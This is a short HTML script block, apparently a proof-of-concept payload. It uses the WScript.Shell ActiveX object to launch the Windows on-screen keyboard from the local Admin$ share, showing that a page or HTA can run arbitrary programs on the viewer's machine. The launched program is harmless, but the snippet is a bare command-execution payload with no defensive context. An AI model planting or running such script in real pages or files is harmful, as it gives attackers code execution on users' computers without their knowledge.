<script>
var WSH = new ActiveXObject("WScript.Shell");
WSH.Run("\\\\127.0.0.1\\Admin$\\System32\\osk.exe");
</script>